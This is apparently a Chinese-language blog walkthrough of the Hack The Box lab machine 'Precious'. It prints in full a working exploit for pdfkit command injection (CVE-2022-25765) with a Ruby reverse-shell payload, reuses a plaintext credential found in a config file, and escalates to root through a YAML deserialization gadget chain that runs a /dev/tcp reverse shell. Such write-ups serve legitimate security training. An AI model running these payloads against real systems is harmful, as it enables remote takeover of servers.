[HTB] Precious

First Post:

Last Update:

Word Count:
4.7k

Read Time:
26 min

blhx1

前言

Hack The Box 上的一台机子,比较简单,里面有个yaml的反序列化漏洞利用。

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
┌──(kali㉿kali)-[~/HTB/Precious/workSpace]
└─$ sudo nmap -sn 10.10.10.128/24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 17:08 CST
Nmap scan report for 10.10.10.1
Host is up (0.00027s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.2
Host is up (0.00018s latency).
MAC Address: 00:50:56:EC:CE:9E (VMware)
Nmap scan report for 10.10.10.133
Host is up (0.00031s latency).
MAC Address: 00:0C:29:42:D4:D0 (VMware)
Nmap scan report for 10.10.10.254
Host is up (0.00028s latency).
MAC Address: 00:50:56:E9:4F:0B (VMware)
Nmap scan report for 10.10.10.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.95 seconds

┌──(kali㉿kali)-[~/HTB/Precious/workSpace]
└─$ sudo nmap -p- --min-rate=10000 10.10.10.133
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 17:08 CST
Nmap scan report for 10.10.10.133
Host is up (0.0013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:42:D4:D0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 3.29 seconds

┌──(kali㉿kali)-[~/HTB/Precious/workSpace]
└─$ sudo nmap -sV -sT -O -p22,80 10.10.10.133
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 17:09 CST
Nmap scan report for 10.10.10.133
Host is up (0.00060s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
MAC Address: 00:0C:29:42:D4:D0 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.12 seconds

┌──(kali㉿kali)-[~/HTB/Precious/workSpace]
└─$ sudo nmap --script=vuln 10.10.10.133
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 17:10 CST
Nmap scan report for 10.10.10.133
Host is up (0.00050s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 00:0C:29:42:D4:D0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 73.44 seconds

总体来说没特别多信息,主要信息就是这台机子开了22和80端口,且OS大概率是Ubuntu。

在跑nmap的同时,也用nikto扫一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/HTB/Precious/workSpace]
└─$ sudo nikto -h http://10.10.10.133
[sudo] password for kali:
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 10.10.10.133
+ Target Hostname: 10.10.10.133
+ Target Port: 80
+ Start Time: 2023-07-03 17:09:49 (GMT8)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: http://precious.htb/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ nginx/1.18.0 appears to be outdated (current is at least 1.20.1).
+ 8046 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time: 2023-07-03 17:10:15 (GMT8) (26 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

发现其中说明访问ip会跳转到对应网址,所以我们要把ip对应的网址加入host中,免得网页显示出什么问题。就直接vim /etc/hosts,在里面插入一行10.10.10.133 http://precious.htb/就可以正常访问了。

也挂了下dirb,也没发现其他的网页。

whatweb看一下网页基于的技术栈。

1
2
3
┌──(kali㉿kali)-[~/HTB/Precious/workSpace]
└─$ sudo whatweb http://precious.htb
http://precious.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.17], IP[10.10.10.133], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.17], X-XSS-Protection[1; mode=block], nginx[1.18.0]

可以看到网页是基于Phusion Passenger搭建的。在exp-db上搜索相关的exp没发现可以用的。那就先看看网页吧。

WEB渗透

打开网页:

a72b044f7d6797bb45dca7b8ae051a7d

发现是个可以把网页页面转换成PDF的网站。

如果我们尝试文件包含或者加',都会显示不是正确的URL。看来不用往这方面考虑了。

那我们就正常试试效果。我们就输本身的网址试试。

01af65a30158f2e9094eb2565f984850

发现会跳转打开一个新窗口并展示页面转换成pdf的结果。

结果符合我们的预期,但是中间这个跳转的过程发生了什么,是调用了API还是做了什么值得我们研究一下。不管怎样,多打开控制台看看是好习惯。

我可以发现控制台报了很多警告,其中还有一条很重要的信息。

005aa573ddf11b84deef1f83d3725915

Generated by pdfkit v0.8.6这条生成信息说明了网页是调用pdfkit工具实现转pdf操作的,这里甚至还提供了版本信息,那我们直接查下exp-db看看有无可用的exp。

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/Precious/workSpace]
└─$ searchsploit pdfkit
----------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------- ---------------------------------
pdfkit v0.8.7.2 - Command Injection | ruby/local/51293.py
----------------------------------------------------------- ---------------------------------
Shellcodes: No Results

我们可以发现还真有。

漏洞利用

pdfkit

我们直接-m拷贝到当前目录并查看其实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#!/usr/bin/env python3
# Exploit Title: pdfkit v0.8.7.2 - Command Injection
# Date: 02/23/2023
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
# Vendor Homepage: https://pdfkit.org/
# Software Link: https://github.com/pdfkit/pdfkit
# Version: 0.0.0-0.8.7.2
# Tested on: pdfkit 0.8.6
# CVE: CVE-2022–25765
# Source: https://github.com/UNICORDev/exploit-CVE-2022-25765
# Description: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

# Imports
import time
import sys
import requests
from urllib.parse import quote


class color:
red = '\033[91m'
gold = '\033[93m'
blue = '\033[36m'
green = '\033[92m'
no = '\033[0m'


# Print UNICORD ASCII Art
def UNICORD_ASCII():
print(rf"""
{color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no}
{color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no}
{color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no}
{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}
""")


# Print exploit help menu
def help():
print(r"""UNICORD Exploit for CVE-2022–25765 (pdfkit) - Command Injection

Usage:
python3 exploit-CVE-2022–25765.py -c <command>
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>
python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -h

Options:
-c Custom command mode. Provide command to generate custom payload with.
-s Reverse shell mode. Provide local IP and port to generate reverse shell payload with.
-w URL of website running vulnerable pdfkit. (Optional)
-p POST parameter on website running vulnerable pdfkit. (Optional)
-h Show this help menu.
""")
exit()


def loading(spins):

def spinning_cursor():
while True:
for cursor in '|/-\\':
yield cursor

spinner = spinning_cursor()
for _ in range(spins):
sys.stdout.write(next(spinner))
sys.stdout.flush()
time.sleep(0.1)
sys.stdout.write('\b')


# Run the exploit
def exploit(payload, exploitMode, postArg):

UNICORD_ASCII()

print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2022–25765 (pdfkit) - Command Injection{color.no}")
loading(15)
print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}")
print(f"{color.blue}PAYLOAD: {color.gold}" + payload + f"{color.no}")

if "web" in exploitMode:
if exploitMode == "webcommand":
print(
f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
else:
print(
f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
print(
f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port. \"nc -lnvp {listenPort}\".{color.no}")
print(f"{color.blue}WEBSITE: {color.gold}{website}{color.no}")
print(f"{color.blue}POSTARG: {color.gold}{postArg}{color.no}")
if "http" not in website:
print(
f"{color.blue}ERRORED: {color.red}Make sure website has schema! Like \"http://\".{color.no}")
exit()
postArg = postArg + "=" + quote(payload, safe="")
try:
response = requests.post(website, postArg)
except:
print(
f"{color.blue}ERRORED: {color.red}Couldn't connect to website!{color.no}")
exit()
loading(15)
print(f"{color.blue}EXPLOIT: {color.gold}Payload sent to website!{color.no}")
loading(15)
print(f"{color.blue}SUCCESS: {color.green}Exploit performed action.{color.no}")
elif exploitMode == "command":
print(f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
loading(15)
print(
f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")
elif exploitMode == "shell":
print(f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}")
loading(15)
print(
f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")

exit()


if __name__ == "__main__":

args = ['-h', '-c', '-s', '-w', '-p']
modes = {'command': 'Custom Command Mode',
'shell': 'Reverse Shell Mode',
'webcommand': 'Custom Command Send to Target Website Mode',
'webshell': 'Reverse Shell Sent to Target Website Mode'}
postArg = "url"

if args[0] in sys.argv:
help()
elif args[1] in sys.argv and not args[2] in sys.argv:
try:
if sys.argv[sys.argv.index(args[1]) + 1] in args:
raise
command = sys.argv[sys.argv.index(args[1]) + 1]
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}")
exit()
payload = f"http://%20`{command}`"
mode = "command"
elif args[2] in sys.argv and not args[1] in sys.argv:
try:
if "-" in sys.argv[sys.argv.index(args[2]) + 1]:
raise
listenIP = sys.argv[sys.argv.index(args[2]) + 1]
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a target and port! \"-s <target-IP> <target-port>\"{color.no}")
exit()
try:
if "-" in sys.argv[sys.argv.index(args[2]) + 2]:
raise
listenPort = sys.argv[sys.argv.index(args[2]) + 2]
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")
exit()
payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`"
mode = "shell"
else:
help()

if args[3] in sys.argv and args[4] in sys.argv:
try:
if "-" in sys.argv[sys.argv.index(args[3]) + 1] and len(sys.argv[sys.argv.index(args[3]) + 1]) == 2:
raise
website = sys.argv[sys.argv.index(args[3]) + 1]
mode = "web" + mode
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
exit()
try:
if "-" in sys.argv[sys.argv.index(args[4]) + 1] and len(sys.argv[sys.argv.index(args[4]) + 1]) == 2:
raise
postArg = sys.argv[sys.argv.index(args[4]) + 1]
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
exit()
elif args[3] in sys.argv or args[4] in sys.argv:
print(
f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
exit()

exploit(payload, mode, postArg)

看不懂ruby也无所谓,能看懂帮助信息就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
Usage:
python3 exploit-CVE-2022–25765.py -c <command>
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>
python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -h

Options:
-c Custom command mode. Provide command to generate custom payload with.
-s Reverse shell mode. Provide local IP and port to generate reverse shell payload with.
-w URL of website running vulnerable pdfkit. (Optional)
-p POST parameter on website running vulnerable pdfkit. (Optional)
-h Show this help menu.

我们可以直接用python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]这条指令直接拿到反弹shell。当然,必要的参数不能少: -w htp://precious.htb -p url-p这个POST参数是哪来的呢,打开控制台查看Network里面可以查看Request就可以找到。实际上就是网页用form表单形式提交数据。因为是命令注入,所以我们的payload填到里面就可以执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/HTB/Precious/workSpace]
└─$ python3 51293.py -s 10.10.10.128 443 -w http://precious.htb -p url

_ __,~~~/_ __ ___ _______________ ___ ___
,~~`( )_( )-\| / / / / |/ / _/ ___/ __ \/ _ \/ _ \
|/| `--. / /_/ / // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....

UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
OPTIONS: Reverse Shell Sent to Target Website Mode
PAYLOAD: http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.10.128","443"))'`
LOCALIP: 10.10.10.128:443
WARNING: Be sure to start a local listener on the above IP and port. "nc -lnvp 443".
WEBSITE: http://precious.htb
POSTARG: url
EXPLOIT: Payload sent to website!
SUCCESS: Exploit performed action.

另一边终端开启nc监听443就可以连接上了。

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/HTB/Precious/workSpace]
└─$ sudo nc -lvp 443
[sudo] password for kali:
listening on [any] 443 ...
connect to [10.10.10.128] from precious.htb [10.10.10.133] 54028
whoami
ruby

备注

如果想尝试用手动方式验证,可以用

1
http://20%`sleep 5`

如果停了5s就说明PoC有效。为啥不能用whoami或者ls?因为没回显。

提权

提权到其他用户

拿到shell的第一件事当然是先用python搞一个交互性更好的shell。没有python记得看看有没有python3。

1
2
3
4
5
which python
which python3
/usr/bin/python3
python3 -c "import pty;pty.spawn('/bin/bash')"
ruby@precious:/var/www/pdfapp$

那么接着的第一件事就是sudo -l,要密码,过。

那就先手动遍历下文件吧。首先要看的就是home目录。

1
2
3
4
5
6
7
8
9
10
ruby@precious:/var/www/pdfapp$ cd /home
cd /home
ruby@precious:/home$ ls -la
ls -la
total 20
drwxr-xr-x 5 root root 4096 Jun 12 04:23 .
drwxr-xr-x 19 root root 4096 May 16 10:31 ..
drwxr-xr-x 15 gaoxiaodiao gaoxiaodiao 4096 Jun 12 05:40 gaoxiaodiao
drwxr-xr-x 5 henry henry 4096 Jun 12 05:10 henry
drwxr-xr-x 4 ruby ruby 4096 Jun 12 04:23 ruby

我们发现有三个用户。

一个个看吧。gaoxiaodiao里面啥也没有。henry里面能看的没啥用,想看user flag的没权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
uby@precious:/home/henry$ ls -la
ls -la
total 36
drwxr-xr-x 5 henry henry 4096 Jun 12 05:10 .
drwxr-xr-x 5 root root 4096 Jun 12 04:23 ..
lrwxrwxrwx 1 henry henry 9 Jun 12 04:23 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry 220 Jun 12 04:23 .bash_logout
-rw-r--r-- 1 henry henry 3974 Jun 12 05:07 .bashrc
drwx------ 2 henry henry 4096 Jun 12 05:08 .cache
drwx------ 3 henry henry 4096 Jun 12 04:56 .config
drwxr-xr-x 3 henry henry 4096 Jun 12 04:23 .local
-rw-r--r-- 1 henry henry 807 Jun 12 04:23 .profile
-rw-r----- 1 henry henry 536 Jun 12 05:01 user.txt
lrwxrwxrwx 1 henry henry 9 Jun 12 05:10 .viminfo -> /dev/null

乖乖看ruby自己的home目录吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ruby@precious:~$ ls -la
ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Jun 12 04:23 .
drwxr-xr-x 5 root root 4096 Jun 12 04:23 ..
lrwxrwxrwx 1 ruby ruby 9 Jun 12 04:23 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Jun 12 04:23 .bash_logout
-rw-r--r-- 1 ruby ruby 3771 Jun 12 04:23 .bashrc
dr-xr-xr-x 2 ruby ruby 4096 Jun 12 04:23 .bundle
drwxr-xr-x 3 ruby ruby 4096 Jun 12 04:23 .cache
-rw-r--r-- 1 ruby ruby 807 Jun 12 04:23 .profile
ruby@precious:~$ cd .bund
cd .bundle/
ruby@precious:~/.bundle$ ls -la
ls -la
total 12
dr-xr-xr-x 2 ruby ruby 4096 Jun 12 04:23 .
drwxr-xr-x 4 ruby ruby 4096 Jun 12 04:23 ..
-r-xr-xr-x 1 ruby ruby 62 Jun 12 04:23 config
ruby@precious:~/.bundle$ cat cconfig
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$ su henry
su henry
Password: Q3c1AqGHtoI0aXAYFH

henry@precious:/home/ruby/.bundle$

我们在ruby的home目录下的/.bundle里的config文件里找到的henry的用户凭证,而且竟然是真的。我们可以成功切换到henry用户。

提权到root

刚才的shell交互性很拉,且机子是开了ssh的,那我们直接ssh连进来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/HTB/Precious/workSpace]
└─$ ssh henry@10.10.10.133
The authenticity of host '10.10.10.133 (10.10.10.133)' can't be established.
ED25519 key fingerprint is SHA256:hhZ2PP71pBNZ2j6slM0FYVNYiySWo+MZtY1HNrglpHs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.133' (ED25519) to the list of known hosts.
henry@10.10.10.133's password:

Last login: Mon Jun 12 05:13:05 2023 from 192.168.42.1
henry@precious:~$ ls -la
total 36
drwxr-xr-x 5 henry henry 4096 Jun 12 05:10 .
drwxr-xr-x 5 root root 4096 Jun 12 04:23 ..
lrwxrwxrwx 1 henry henry 9 Jun 12 04:23 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry 220 Jun 12 04:23 .bash_logout
-rw-r--r-- 1 henry henry 3974 Jun 12 05:07 .bashrc
drwx------ 2 henry henry 4096 Jun 12 05:08 .cache
drwx------ 3 henry henry 4096 Jun 12 04:56 .config
drwxr-xr-x 3 henry henry 4096 Jun 12 04:23 .local
-rw-r--r-- 1 henry henry 807 Jun 12 04:23 .profile
-rw-r----- 1 henry henry 536 Jun 12 05:01 user.txt
lrwxrwxrwx 1 henry henry 9 Jun 12 05:10 .viminfo -> /dev/null
henry@precious:~$ cat user.txt

bf***************************1b

登进来拿到user flag。

该提权到root了。那么接着第一步sudo -l

1
2
3
4
5
6
7
henry@precious:/home$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

发现可以无密码sudo ruby /opt/update_dependencies.rb

那我们看看能不能对这里下手。

先看看这个ruby文件里写了啥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
henry@precious:/opt$ cat update_dependencies.rb 
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end

和注释里写的差不多,读dependencies.yml文件并和本地安装的依赖对比版本。

虽然能大致看懂这段代码,但是我们该怎么利用呢。直接Google一下吧:ruby priv esca,查到一个网页介绍了如何用ruby脚本提权。实际上是用了yaml的反序列。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#Check if the current user could run the ruby script as root privilege.
# (root) NOPASSWD: /usr/bin/ruby sample.rb

#If the sample.rb contains the “File.read(’sample.yml’)”, modify the YAML file as follow:

---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "bash -c 'bash -i >& /dev/tcp/<local-ip>/<local-port> 0>&1'"
method_id: :resolve

和我们目前的情况完全匹配,照葫芦画瓢就行了。在/tmp目录下创建dependencies.yml文件,把上面这段复制进去,改个ip和端口再在攻击上开个nc监听。然后直接执行脚本应该就可以了。

1
2
henry@precious:/tmp$ sudo ruby /opt/update_dependencies.rb
sh: 1: reading: not found

nc监听一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/HTB/Precious/workSpace]
└─$ sudo nc -lvp 443
[sudo] password for kali:
listening on [any] 443 ...
connect to [10.10.10.128] from precious.htb [10.10.10.133] 41114
root@precious:/tmp# cd ~
cd ~
root@precious:~# ls -la
ls -la
total 36
drwx------ 6 root root 4096 Jun 12 05:02 .
drwxr-xr-x 19 root root 4096 May 16 10:31 ..
lrwxrwxrwx 1 root root 9 Jun 12 05:02 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3300 Jun 12 05:06 .bashrc
drwxr-xr-x 3 root root 4096 Jun 12 04:39 .bundle
drwxr-xr-x 3 root root 4096 Jun 12 04:24 .gem
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 504 Jun 12 05:02 root.txt
drwx------ 3 root root 4096 May 16 10:37 snap
drwx------ 2 root root 4096 May 16 10:37 .ssh
lrwxrwxrwx 1 root root 9 Jun 12 05:02 .viminfo -> /dev/null
root@precious:~# cat root
cat root.txt
*****************************

成功拿到root flag。